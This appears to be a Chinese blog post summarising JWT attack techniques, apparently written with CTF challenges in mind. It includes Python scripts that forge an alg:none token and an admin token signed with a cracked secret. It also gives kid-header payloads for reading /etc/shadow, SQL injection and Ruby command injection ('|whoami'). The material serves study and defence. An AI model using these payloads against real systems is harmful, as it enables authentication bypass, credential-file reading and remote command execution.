jwt攻击方式总结
关于jwt
jwt说简单一些就是一种验证机制
包含三部分:
header
{
"alg":"HS256", 加密方式
"typ":"jwt", 类型
}
常用加密方式:
RSA 非对称加密,私钥加密,公钥解密
HMAC 对称加密,一个密钥用于加解密
payload
payload则为用户数据以及一些元数据有关的声明,用以声明权限,举个例子,一次登录的过程可能会传递以下数据
{
"user_role" : "finn", //当前登录用户
"iss": "admin", //该JWT的签发者
"iat": 1573440582, //签发时间
"exp": 1573940267, //过期时间
"nbf": 1573440582, //该时间之前不接收处理该Token
"domain": "example.com", //面向的用户
"jti": "dff4214121e83057655e10bd9751d657" //Token唯一标识
}
signature
就是用header声明的算法把header和payload连接起来并加密
signature = HMAC-SHA256(base64urlEncode(header) + '.' + base64urlEncode(payload), secret_key)
关于base64url编码
为了方便在网络中传输使用了不同的编码表的数据,它在base64的基础上取消了“=”填充,并把“+”替换为“-”,把“\”替换为“_”。
攻击方式
空加密算法
为了支持调试,jwt可以用空加密算法
如果开发人员开启了空加密算法,则可用通过修改alg=None,然后不加signature的值,那么任何的tocken都可以通过验证
#python实现空密钥payload生成
import base64
hearder='{"alg":"none","typ":"jwt"}'
payload='{"username":"admin",:"password":"admin","role":"admin"}'
def jwtBase64Encode(a):
return base64.b64encode(a.encode("utf-8")).decode().replace('/','_').replace('+','-').replace('=','')
print(jwtBase64Encode(hearder)+'.'+jwtBase64Encode(payload)+'.')
#记住最后要加点号,因为算法为none则signature部分为空
使用HMAC算法
如果使用的是RSA的话必须要获取私钥,才可以得到signature
私钥一般很难获取,但是公钥是有可能得到的
把alg字段值改为HMAC,然后用得到的公钥签名得到token值给服务器
服务器会把公钥作为HMAC算法的密钥来进行验证
信息泄露
在线解码查看header和payload信息
因为header和payload是明文传输,里面可能包含敏感信息
爆破密钥
要爆破jwt密钥来达到攻击目的条件
1.知道一段有效的token值
2.知道jwt的算法
3.密钥是弱密钥(容易爆破)
c-jwt-cracker使用
./cracker tocken
#得到密钥后用python生成jwt的tocken值
import jwt
payload={"usename":"admin","password":"admin","role":"admin"}#该脚本以ctfhub的题为对象
secret="bugg"
print(jwt.encode(payload,secret,algorithm='HS256'))
修改kid值
kid是hearder的一个字段,用户可控制它的值
通过修改kid可用做的事情
1.指定算法密钥
"kid" : "/home/jwt/.ssh/pem"
2.读取敏感信息
"kid" : "/etc/shadow"
3.sql注入
"kid" : "key11111111' || union select 'secretkey' -- "
4.命令执行
条件:
服务器后端使用的是Ruby,在读取密钥文件时使用了open函数,通过构造参数就可能造成命令注入。
"kid" : "/path/to/key_file|whoami"
标签:总结,admin,jwt,header,密钥,payload,攻击方式,kid
From: https://www.cnblogs.com/q1stop/p/17903149.html